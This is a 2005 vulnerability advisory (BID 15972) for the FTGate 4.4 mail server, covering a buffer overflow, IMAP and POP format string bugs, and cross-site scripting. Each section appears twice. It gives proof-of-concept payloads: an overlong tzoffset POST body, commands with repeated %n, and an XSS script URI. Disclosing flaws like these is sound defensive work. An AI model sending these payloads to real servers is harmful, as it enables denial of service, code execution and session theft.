Floosietek FTGate Multiple Remote Vulnerabilities
BID:15972
Info
Floosietek FTGate Multiple Remote Vulnerabilities
| Bugtraq ID: | 15972 |
| Class: | Unknown |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Nov 16 2005 12:00AM |
| Updated: | Nov 16 2005 12:00AM |
| Credit: | These issues were discovered by Tim Shelton. |
| Vulnerable: |
Floosietek FTGate 4.4 |
| Not Vulnerable: | |
Discussion
Floosietek FTGate Multiple Remote Vulnerabilities
Floosietek FTGate is prone to multiple remote vulnerabilities. These issues are identified as buffer overflow, format string, and cross-site scripting vulnerabilities.
Successful exploitation of the buffer overflow and format string vulnerabilities could result in a denial of service or execution of arbitrary code in the context of the affected server process.
An attacker may leverage the cross-site scripting issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.
FTGate 4.4 (build 4.4.000) is reportedly vulnerable to these issues; other versions may also be affected.
Floosietek FTGate is prone to multiple remote vulnerabilities. These issues are identified as buffer overflow, format string, and cross-site scripting vulnerabilities.
Successful exploitation of the buffer overflow and format string vulnerabilities could result in a denial of service or execution of arbitrary code in the context of the affected server process.
An attacker may leverage the cross-site scripting issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.
FTGate 4.4 (build 4.4.000) is reportedly vulnerable to these issues; other versions may also be affected.
Exploit / POC
Floosietek FTGate Multiple Remote Vulnerabilities
The following proof of concept examples are provided:
The buffer overflow vulnerability may be demonstrated with the following POST data to '/index.fts':
config=1¶m1=&href=&tzoffset=111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111 111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111&admin=administrator%40example.com&password=test12345
The IMAP format string vulnerabilities may be demonstrated with the following commands:
01 LIST (%25n times 1024) *
02 AUTHENTICATE (%25n times 1024)
The POP format string vulnerabilities may be demonstrated with the following commands:
USER (%n times 20)
PASS (%n times 20)
TOP (%n times 20) 1
The cross-site scripting vulnerability may be demonstrated with the following URI:
http://www.example.com/index.fts?href="><script>alert('XSS-magic-string');</script>
The following proof of concept examples are provided:
The buffer overflow vulnerability may be demonstrated with the following POST data to '/index.fts':
config=1¶m1=&href=&tzoffset=111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111 111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111&admin=administrator%40example.com&password=test12345
The IMAP format string vulnerabilities may be demonstrated with the following commands:
01 LIST (%25n times 1024) *
02 AUTHENTICATE (%25n times 1024)
The POP format string vulnerabilities may be demonstrated with the following commands:
USER (%n times 20)
PASS (%n times 20)
TOP (%n times 20) 1
The cross-site scripting vulnerability may be demonstrated with the following URI:
http://www.example.com/index.fts?href="><script>alert('XSS-magic-string');</script>
Solution / Fix
Floosietek FTGate Multiple Remote Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.